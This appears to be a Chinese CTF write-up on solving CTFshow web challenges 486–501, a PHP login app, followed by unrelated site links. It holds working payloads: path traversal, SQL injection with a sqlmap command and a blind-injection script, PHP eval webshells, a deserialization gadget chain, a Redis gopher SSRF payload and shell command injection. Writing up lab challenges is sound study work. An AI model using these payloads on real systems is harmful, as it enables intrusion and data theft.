当前位置: 首页 > news >正文

CTFSHOW 中期测评(一)web486 - web501

文章目录

    • 题目列表
      • web486
      • web487
      • web488
      • web489
      • web490
      • web491
      • web492
      • web493
      • web494
      • web495
      • web496
      • web497
      • web498
      • web499
      • web500
      • web501

题目列表

web486

打开之后发现是个登录框,PATH为/index.php?action=login

尝试修改/index.php?action=login/index.php?action=1,发生报错

由报错内容可知网站可能存在文件包含漏洞,尝试进行目录穿越读取flag

/index.php?action=../flag

访问源码得到flag

web487

修改/index.php?action=login/index.php?action=../index,可以查看源码

存在SQL注入漏洞,而且没有过滤,测试后发现没有回显,用时间盲注

先验证一下

/index.php?action=check&username=1&password=') or sleep(3)--+

没有问题

这里用sqlmap去跑结果了,省点时间

python sqlmap.py -u "https://39dc9317-0164-419c-ac40-b3d76de931e5.challenge.ctf.show/index.php?action=check&username=1&password=1" --batch -D ctfshow -T flag -C flag --dump

web488

打开题目之后,也是跟之前一样读取index代码

/index.php?action=../index

sql那里两个参数都被md5包裹了,不能用sql注入做了。继续往下分析,可以看到有个templateUtil::render('error',array('username'=>$username)),暂时不知道templateUtil类和render函数有何用处

同时看到上面include了两个php文件

通过目录穿越读取这两个文件代码分析后,发现 render_class.php 有用,db_class.php 则是数据库的一些连接配置,暂时用不到

/index.php?action=../render/render_class

可以看到里面定义了render函数和shade函数,其中render函数我们重点关注以下代码

else{$templateContent=fileUtil::read('templates/'.$template.'.php');$cache=templateUtil::shade($templateContent,$arg);cache::create_cache($template,$cache);echo $cache;
}

$templateContent 获取templates/$template.php页面返回的内容,然后$cache调用shade函数替换$templateContent 中的字符串,把{{username}}替换为传入的数组key:value中的value值,最后再调用cache类中的create_cache函数

上面可以看到包含了cache_class.php,我们继续看看create_cache函数有什么作用

/index.php?action=../render/cache_class

create_cache函数先检查是否存在文件cache/md5($template).php,如果没有则创建一个php文件,并把$content写进去,其中$content我们可以控制,且$template也是固定的,那就很简单了

利用链:

templateUtil::render() -> templateUtil::shade() -> cache::create_cache() -> fileUtil::write()

我们看看index关键代码

if($action=='check'){$username=$_GET['username'];$password=$_GET['password'];$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";$user=db::select_one($sql);if($user){templateUtil::render('index',array('username'=>$username));}else{templateUtil::render('error',array('username'=>$username));}
}

$user不存在时就会进入else语句,然后传入$template为 error,数组为[username: 任意内容]。我们可以写个webshell进去,因为error的md5值为cb5e100e5a9a3e7f6d1fd97512215282,文件会上传到

cache/cb5e100e5a9a3e7f6d1fd97512215282.php

要注意如果已经查询过的话,会进入else分支,那么cache/cb5e100e5a9a3e7f6d1fd97512215282.php就已经存在了,后面再查询就会返回true,无法再进入create_cache函数的else分支,也就无法再写入webshell了,这种情况只能重开靶机,这一点要注意

可以输入/index.php?action=error测试一下,访问templates/error.php,可以看到页面返回{{username}}不存在,正好符合条件,可以把{{username}}置换为我们传入的任意内容

重开靶机,然后GET传入payload

/index.php?action=check&username=<?php eval($_POST[1]);?>&password=123

显示不存在即为成功

然后蚁剑连接,路径为cache/cb5e100e5a9a3e7f6d1fd97512215282.php,要注意把https改成http

在根目录找到flag

web489

继续看index代码

/index.php?action=../index

可以看到else分支改了,不能上传内容到error那里了,但是题目给出了关键代码extract($_GET),意思是将 $_GET 数组中的所有键值对转换成对应的普通变量,那我们可以通过变量覆盖来触发templateUtil::render('index',array('username'=>$username)),效果跟上题一样

这次题目贴心给出了cache清除代码,如果你在登录框尝试登录过,那可以通过输入/index.php?action=clear来清除cache目录,这样就不用重启靶机了

if($action=='clear'){system('rm -rf cache/*');die('cache clear');
}

方法跟上题差不多,不过payload要改成

/index.php?action=check&username=<?php eval($_POST[1]);?>&sql=select 1;

通过变量覆盖使if永真,然后读取的位置从error变成了index,其他一样

在根目录找到flag

web490

先来看看index代码,方法跟之前一样

我们关注重点以下代码

if($action=='check'){extract($_GET);$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";$user=db::select_one($sql);if($user){templateUtil::render('index',array('username'=>$user->username));}else{templateUtil::render('error');}
}

sql语句变了,username那里没有md5包裹了,然后render('index',array('username'=>$username));变成了render('index',array('username'=>$user->username));

那好办,方法跟之前一样,只不过这次通过sql注入改变查询的username的值,使后面的$user->username能返回我们想要的值

但是一开始输入payload

/index.php?action=check&username=1' union select '<?php eval($_POST[1]);?>'--+&password=1

会发现莫名其妙返回了一个?>

查看/cache/6a992d5529f459a44fee58c733255e86.php,发现页面显示语法错误

那估计大概率是字符串替换后本身就已经被php标签包裹了,所以多出来的?>就显示在页面上了。后面发现/index.php?action=index可以看到传入后的代码,也验证了猜想

那我们修改一下代码,先输入/index.php?action=clear清空缓存,再传入payload,后面的题目如果有输入过username这些,记得一定要先清空cache,不然内容写不进去

/index.php?action=check&username=1' union select 'eval($_POST[1])'--+&password=1

蚁剑连接,在根目录找到flag

web491

继续分析代码

被修复了,不能用之前的方法写入webshell了,但是username那边没有md5包裹,可以用SQL注入获取flag

payload:

/index.php?action=check&username=1' union select load_file('/flag') into outfile "/tmp/3.php" --+&password=1

然后目录穿越读取flag

web492

先看代码

这个多了一个正则,然后上题的templateUtil::render('index')改回templateUtil::render('index',$user),可以继续用之前的方法

payload:

/index.php?action=check&username='1&user[username]=<?php eval($_POST[1]);?>

大概思路就是利用extract($_GET);污染变量,然后username随便带个符号跳过正则验证直接来到templateUtil::render('index',$user),后面的步骤跟之前一样,也是通过字符串替换写入webshell

然后蚁剑连接读取flag

web493

先看代码

因为下面的render只传入了$template,没有传入数组参数,所以不能走这条路。然后SQL那里又有正则限制,不能出现符号,所以也无法进行SQL注入,但是上面出现了关键代码

if(!isset($action)){if(isset($_COOKIE['user'])){$c=$_COOKIE['user'];$user=unserialize($c);

那我们可以用反序列化来做这题,读取上面的render/db_class.php

/index.php?action=../render/db_class

得到代码

<?phperror_reporting(0);
class db{public $db;public $log;public $sql;public $username='root';public $password='root';public $port='3306';public $addr='127.0.0.1';public $database='ctfshow';public function __construct(){$this->log=new dbLog();$this->db=$this->getConnection();}public function getConnection(){return new mysqli($this->addr,$this->username,$this->password,$this->database);}public  function select_one($sql){$this->sql=$sql;$conn = db::getConnection();$result=$conn->query($sql);if($result){return $result->fetch_object();}}public  function select_one_array($sql){$this->sql=$sql;$conn = db::getConnection();$result=$conn->query($sql);if($result){return $result->fetch_assoc();}}public function __destruct(){$this->log->log($this->sql);}
}
class dbLog{public $sql;public $content;public $log;public function __construct(){$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';}public function log($sql){$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';}public function __destruct(){file_put_contents($this->log, $this->content,FILE_APPEND);}
}

构建反序列化payload

<?phpclass db{public $log;public $sql;public function __construct(){$this->log=new dbLog();}
}
class dbLog{public $sql;public $content;public $log;public function __construct(){$this->log='log/3.php';$this->content ='<?php eval($_POST[1]);?>';}
}$a = new db();
$b = urlencode(serialize($a));
echo $b;

得到结果为

O%3A2%3A%22db%22%3A2%3A%7Bs%3A3%3A%22log%22%3BO%3A5%3A%22dbLog%22%3A3%3A%7Bs%3A3%3A%22sql%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A9%3A%22log%2F3.php%22%3B%7Ds%3A3%3A%22sql%22%3BN%3B%7D

然后cookie写入payload,记得要满足if(!isset($action)),把action参数删去就可以

然后蚁剑连接

web494

先看代码

一开始看到templateUtil::render('index',$user),我以为可以继续用之前的方法,但是后面连接webshell怎么都连不上,读取/render/cache_class.php代码之后发现php后缀改成html后缀了,那没办法了

反序列化那里加了if(preg_match('/\:|\,/', $c)){来过滤,不过不影响,继续用上题的反序列化方法

payload:

<?phpclass db{public $log;public $sql;public function __construct(){$this->log=new dbLog();}
}
class dbLog{public $sql;public $content;public $log;public function __construct(){$this->log='log/3.php';$this->content ='<?php eval($_POST[1]);?>';}
}$a = new db();
$b = urlencode(serialize($a));
echo $b;

结果

O%3A2%3A%22db%22%3A2%3A%7Bs%3A3%3A%22log%22%3BO%3A5%3A%22dbLog%22%3A3%3A%7Bs%3A3%3A%22sql%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A9%3A%22log%2F3.php%22%3B%7Ds%3A3%3A%22sql%22%3BN%3B%7D

然后cookie传入,蚁剑连接webshell,找了一会找不到flag,那连接数据库看看,先读取/render/db_class.php查看数据库配置信息

然后蚁剑连接

读取flag

web495

核心代码没有变

if(!isset($action)){if(isset($_COOKIE['user'])){$c=$_COOKIE['user'];if(preg_match('/\:|\,/', $c)){$user=unserialize($c);}

可以继续用上题的方法,flag在数据库

web496

查看代码

发现反序列化代码被注释了,然后SQL正则那里多了一些过滤,可以用万能密码登录系统

账号:'||1=1#
密码:1

进去后点击基本资料,可以看到管理员信息修改

查看网页源码,发现是通过POST发送请求到api/admin_edit.php

我们查看api/admin_edit.php的源码,GET请求/index.php?action=../api/admin_edit

可以看到有个update语句,然后下面有修改成功和失败的文本信息。那我们的思路就是写个脚本,先用万能密码登录保持登录状态,然后在user[username]数组里写payload进行布尔盲注,同时要保证nickname不重复

payload:

import requests
import stringurl = "http://eb072399-7e45-41c9-a2dd-d30c29f993ee.challenge.ctf.show"
chars = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890[]{},.-_"
result = ""
session = requests.session()
session.post(url + "?action=check", data={"username":"'||1=1#", "password":1})for pos in range(1, 100):found = Falsefor c in chars:#payload = "'||if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)='{1}',1,0)#".format(pos, c)#payload = "'||if(substr((select group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'),{0},1)='{1}',1,0)#".format(pos, c)payload = "'||if(substr((select flagisherebutyouneverknow118 from flagyoudontknow76),{0},1)='{1}',1,0)#".format(pos, c)data = {'nickname': str(pos), 'user[username]': payload}response = session.post(url + "/api/admin_edit.php", data=data)if "u529f" in response.text:result += cprint(result)found = Truebreakif not found:break

运行脚本得到flag

web497

查看代码

$user=unserialize($c)的注释去掉了,但是前面的正则匹配加了感叹号,也就是不能出现冒号和逗号,那我们不走这个方法,继续用万能密码登录系统,账号'||1=1#,密码1

然后点击基本信息,发现头像处可以修改

直接file协议读取flag文件,存在SSRF漏洞

file:///flag

修改成功后右键点击头像,选择在新标签页中打开图像,成功读到flag

web498

也是上一题的方法,读/etc/passwd可以,但是读flag读不到了,可能是权限不足,也可能是flag不叫这个名字了或者在其他目录

刚好看到/etc/passwd里面有个redis,输入dict://127.0.0.1:6379探测端口开放情况

用Gopher协议打SSRF就可以,工具Gopherus

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

然后访问/shell.php,查看根目录

读取flag

web499

头像地址没了,SSRF打不通

随便点了一下,发现系统配置可以打开

查看源代码,发现有个api/admin_settings.php路径

查看api/admin_settings.php源码

关键代码

if($user){$config = unserialize(file_get_contents(__DIR__.'/../config/settings.php'));foreach ($_POST as $key => $value) {$config[$key]=$value;}file_put_contents(__DIR__.'/../config/settings.php', serialize($config));

它会把POST传进来的键值对放入数组,然后写入文件config/settings.php,我们看看config/settings.php源码

刚好对应的就是前面的系统配置页面,那我们在系统配置页面传入一句话木马

可以看到木马已经成功写入

蚁剑连接

在根目录找到flag

web500

上题的代码改了,不是写到php文件了,那我们换个方法

回到管理页面点了一通,发现数据库备份可以打开

查看源码,发现其POST请求发送到api/admin_db_backup.php,那我们读取源码看看

关键代码shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path),那我们可以拼接命令读取flag

payload:

;cat /f*>/var/www/html/1.txt

然后访问1.txt读取flag

web501

这次修改名称的地方不见了

查看代码,发现其多了个正则匹配

因为前面有个extract($_POST),然后数据库备份的源码写了POST请求的目标地址

那我们可以直接向目标地址发送POST请求执行命令

然后访问/1.txt读取flag

http://www.dtcms.com/a/390552.html

相关文章:

  • android-USB-STM32
  • 云原生周刊:MetalBear 融资、Chaos Mesh 漏洞、Dapr 1.16 与 AI 平台新趋势
  • Android音频学习(十九)——音频HAL层简介
  • Android之音乐列表播放管理类,控制音乐播放、暂停、播放模式的切换等
  • Docker Compose从入门到实战:配置与命令全指南
  • 10.1 输入子系统模型
  • Unity手游输入笔记
  • SpringCloud-注册中心Nacos[笔记3]
  • 关于MySQL与Python后端命令交互备份
  • 大模型上下文工程实践- 上下文管理策略
  • 资产测绘工具-Nmap
  • 智能体环境配置测试
  • 如何将非结构化文档智能解析高质量数据,并按照阅读顺序还原版面?
  • 第八章 惊喜11 认知觉醒
  • 嵌入式系统学习Day37(ARM)
  • 02-Media-10-video_decoder.py 对H.264或H.265格式视频解码并在液晶屏或外接HDMI显示屏上进行显示的示例程序
  • Go面试题及详细答案120题(61-80)
  • 第二部分:VTK核心类详解(第35章:vtkDataSetAttributes数据集属性类)
  • 智能文献分析系统:让AI成为学术研究助手
  • MATLAB基于AHP-熵权法-TOPSIS的学习能力评价研究
  • Ubuntu 部署 PostgreSQL 数据库(附shell脚本一键部署↓)
  • 《数据驱动下的双样本推断:均值与比例的硬核技术实践与方法论思考》
  • Git设置单个仓库用户名和邮箱的方法
  • MongoDB Integer
  • 深度学习第二章 线性代数简介
  • HTB precious
  • 【前后端与数据库交互】从零构建 Python + Vue + MongoDB 网站
  • 对比django,flask,opencv三大
  • 【6/20】MongoDB 入门:连接数据库,实现数据存储与查询
  • 【笔记】Docker使用